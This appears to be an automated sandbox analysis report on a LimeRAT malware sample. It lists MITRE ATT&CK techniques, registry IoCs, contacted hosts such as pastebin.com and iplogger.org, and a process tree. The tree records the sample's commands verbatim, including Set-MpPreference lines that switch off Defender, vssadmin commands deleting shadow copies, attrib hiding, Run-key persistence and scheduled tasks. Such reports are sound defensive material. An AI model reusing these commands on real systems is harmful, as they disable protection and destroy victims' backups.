limerat | cb87011623c7e41c0a449814e76c887543e6e39e6ab3864c7cc3636dcf09e196

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	svchost.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Windows Service
T1543.003

Processes:

svchost.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	svchost.exe

Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

Processes:

svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	svchost.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

Processes:

svchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Executes dropped EXE 1 IoCs

Processes:

svchost.exe

pid process

2968 svchost.exe

pid	process
2968	svchost.exe

Enumerates connected drives 3 TTPs 15 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

19 pastebin.com
2 iplogger.org
3 iplogger.org
10 pastebin.com
Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
defense_evasion

Hidden Files and Directories
T1564.001

Processes:

cmd.execmd.exe

pid process

4228 cmd.exe
4112 cmd.exe

flow	ioc
19	pastebin.com
2	iplogger.org
3	iplogger.org
10	pastebin.com

pid	process
4228	cmd.exe
4112	cmd.exe

Drops file in Windows directory 2 IoCs

Processes:

taskmgr.exe

description	ioc	process
File created	C:\Windows\rescache\_merged\4183903823\2290032291.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	taskmgr.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Interacts with shadow copies 3 TTPs 12 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
4132	vssadmin.exe
1308	vssadmin.exe
4432	vssadmin.exe
2912	vssadmin.exe
4984	vssadmin.exe
1248	vssadmin.exe
4936	vssadmin.exe
4972	vssadmin.exe
1396	vssadmin.exe
4696	vssadmin.exe
4248	vssadmin.exe
4528	vssadmin.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

5176 schtasks.exe
5424 schtasks.exe
4536 schtasks.exe
6128 schtasks.exe
5220 schtasks.exe

pid	process
5176	schtasks.exe
5424	schtasks.exe
4536	schtasks.exe
6128	schtasks.exe
5220	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

svchost.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exesvchost.exe

pid	process
2324	svchost.exe
2324	svchost.exe
2324	svchost.exe
5016	powershell.exe
5016	powershell.exe
5016	powershell.exe
2396	powershell.exe
2396	powershell.exe
2396	powershell.exe
2396	powershell.exe
2396	powershell.exe
5100	powershell.exe
4272	powershell.exe
5100	powershell.exe
4272	powershell.exe
768	powershell.exe
768	powershell.exe
5100	powershell.exe
4272	powershell.exe
3156	powershell.exe
3156	powershell.exe
3156	powershell.exe
768	powershell.exe
4180	powershell.exe
4180	powershell.exe
4180	powershell.exe
2932	powershell.exe
2932	powershell.exe
5012	powershell.exe
5012	powershell.exe
4036	powershell.exe
4036	powershell.exe
5012	powershell.exe
4992	powershell.exe
4992	powershell.exe
4036	powershell.exe
1700	powershell.exe
1700	powershell.exe
4992	powershell.exe
3856	powershell.exe
3856	powershell.exe
5100	powershell.exe
2932	powershell.exe
1700	powershell.exe
4272	powershell.exe
3856	powershell.exe
4180	powershell.exe
3156	powershell.exe
768	powershell.exe
5012	powershell.exe
4036	powershell.exe
4992	powershell.exe
3856	powershell.exe
2932	powershell.exe
1700	powershell.exe
2968	svchost.exe
2968	svchost.exe
2968	svchost.exe
2968	svchost.exe
2968	svchost.exe
2968	svchost.exe
2968	svchost.exe
2968	svchost.exe
2968	svchost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

svchost.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2324	svchost.exe
Token: SeDebugPrivilege	5016	powershell.exe
Token: SeIncreaseQuotaPrivilege	5016	powershell.exe
Token: SeSecurityPrivilege	5016	powershell.exe
Token: SeTakeOwnershipPrivilege	5016	powershell.exe
Token: SeLoadDriverPrivilege	5016	powershell.exe
Token: SeSystemProfilePrivilege	5016	powershell.exe
Token: SeSystemtimePrivilege	5016	powershell.exe
Token: SeProfSingleProcessPrivilege	5016	powershell.exe
Token: SeIncBasePriorityPrivilege	5016	powershell.exe
Token: SeCreatePagefilePrivilege	5016	powershell.exe
Token: SeBackupPrivilege	5016	powershell.exe
Token: SeRestorePrivilege	5016	powershell.exe
Token: SeShutdownPrivilege	5016	powershell.exe
Token: SeDebugPrivilege	5016	powershell.exe
Token: SeSystemEnvironmentPrivilege	5016	powershell.exe
Token: SeRemoteShutdownPrivilege	5016	powershell.exe
Token: SeUndockPrivilege	5016	powershell.exe
Token: SeManageVolumePrivilege	5016	powershell.exe
Token: 33	5016	powershell.exe
Token: 34	5016	powershell.exe
Token: 35	5016	powershell.exe
Token: 36	5016	powershell.exe
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe
Token: SeIncreaseQuotaPrivilege	2396	powershell.exe
Token: SeSecurityPrivilege	2396	powershell.exe
Token: SeTakeOwnershipPrivilege	2396	powershell.exe
Token: SeLoadDriverPrivilege	2396	powershell.exe
Token: SeSystemProfilePrivilege	2396	powershell.exe
Token: SeSystemtimePrivilege	2396	powershell.exe
Token: SeProfSingleProcessPrivilege	2396	powershell.exe
Token: SeIncBasePriorityPrivilege	2396	powershell.exe
Token: SeCreatePagefilePrivilege	2396	powershell.exe
Token: SeBackupPrivilege	2396	powershell.exe
Token: SeRestorePrivilege	2396	powershell.exe
Token: SeShutdownPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeSystemEnvironmentPrivilege	2396	powershell.exe
Token: SeRemoteShutdownPrivilege	2396	powershell.exe
Token: SeUndockPrivilege	2396	powershell.exe
Token: SeManageVolumePrivilege	2396	powershell.exe
Token: 33	2396	powershell.exe
Token: 34	2396	powershell.exe
Token: 35	2396	powershell.exe
Token: 36	2396	powershell.exe
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	4036	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeIncreaseQuotaPrivilege	4272	powershell.exe
Token: SeSecurityPrivilege	4272	powershell.exe
Token: SeTakeOwnershipPrivilege	4272	powershell.exe
Token: SeLoadDriverPrivilege	4272	powershell.exe
Token: SeSystemProfilePrivilege	4272	powershell.exe
Token: SeSystemtimePrivilege	4272	powershell.exe
Token: SeProfSingleProcessPrivilege	4272	powershell.exe
Token: SeIncBasePriorityPrivilege	4272	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exe

pid	process
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exe

pid	process
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe
3560	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

svchost.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2324 wrote to memory of 4228	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 4228	2324	svchost.exe	cmd.exe
PID 4228 wrote to memory of 3852	4228	cmd.exe	attrib.exe
PID 4228 wrote to memory of 3852	4228	cmd.exe	attrib.exe
PID 4228 wrote to memory of 4672	4228	cmd.exe	attrib.exe
PID 4228 wrote to memory of 4672	4228	cmd.exe	attrib.exe
PID 2324 wrote to memory of 5016	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 5016	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 4180	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 4180	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 2396	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 2396	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 768	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 768	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 4272	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 4272	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 3156	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 3156	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 5100	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 5100	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 2932	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 2932	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 5012	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 5012	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 4992	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 4992	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 4036	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 4036	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 1700	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 1700	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 3856	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 3856	2324	svchost.exe	powershell.exe
PID 2324 wrote to memory of 1876	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 1876	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 4164	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 4164	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 3216	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 3216	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 3440	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 3440	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 2896	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 2896	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 1580	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 1580	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 3044	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 3044	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 4576	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 4576	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 2056	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 2056	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 2988	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 2988	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 1988	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 1988	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 1956	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 1956	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 2404	2324	svchost.exe	cmd.exe
PID 2324 wrote to memory of 2404	2324	svchost.exe	cmd.exe
PID 3440 wrote to memory of 4132	3440	cmd.exe	vssadmin.exe
PID 3440 wrote to memory of 4132	3440	cmd.exe	vssadmin.exe
PID 1988 wrote to memory of 4972	1988	cmd.exe	vssadmin.exe
PID 1988 wrote to memory of 4972	1988	cmd.exe	vssadmin.exe
PID 4576 wrote to memory of 1396	4576	cmd.exe	vssadmin.exe
PID 4576 wrote to memory of 1396	4576	cmd.exe	vssadmin.exe

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

Processes:

svchost.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Run	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Run\svchost.exe = "C:\\Users\\Admin\\AppData\\Roaming\\Branding\\svchost.exe"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Run\svchost.exe = "C:\\Users\\Admin\\AppData\\Roaming\\Branding\\svchost.exe"	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Views/modifies file attributes 1 TTPs 4 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

pid process

5956 attrib.exe
1980 attrib.exe
3852 attrib.exe
4672 attrib.exe

pid	process
5956	attrib.exe
1980	attrib.exe
3852	attrib.exe
4672	attrib.exe

C:\Users\Admin\AppData\Local\Temp\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\svchost.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies security service
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2324
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding" & attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\system32\attrib.exe
    attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding"
    3⤵
    - Views/modifies file attributes
    PID:3852
- - C:\Windows\system32\attrib.exe
    attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
    3⤵
    - Views/modifies file attributes
    PID:4672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3856
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin Delete Shadows /all /quiet
  2⤵
  PID:1876
- - C:\Windows\system32\vssadmin.exe
    vssadmin Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4696
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
  2⤵
  PID:4164
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
    3⤵
    PID:4472
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  PID:3216
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2912
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4132
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  PID:2896
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1248
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  PID:1580
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4936
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  PID:3044
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4984
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1396
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  PID:2056
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4528
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  PID:2988
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4432
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4972
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  PID:1956
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4248
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c Vssadmin delete shadowstorage /all /quiet
  2⤵
  PID:2404
- - C:\Windows\system32\vssadmin.exe
    Vssadmin delete shadowstorage /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1308
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "06:49" /sc daily /mo "5" /tn "EnableLicenseAcquisition" /tr "'explorer'https://gsurl.be/kXFY"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6128
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "01:25" /sc daily /mo "3" /tn "EnableLicenseAcquisition" /tr "'explorer'https://gsurl.be/kXFY"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5220
- C:\Windows\SYSTEM32\schtasks.exe
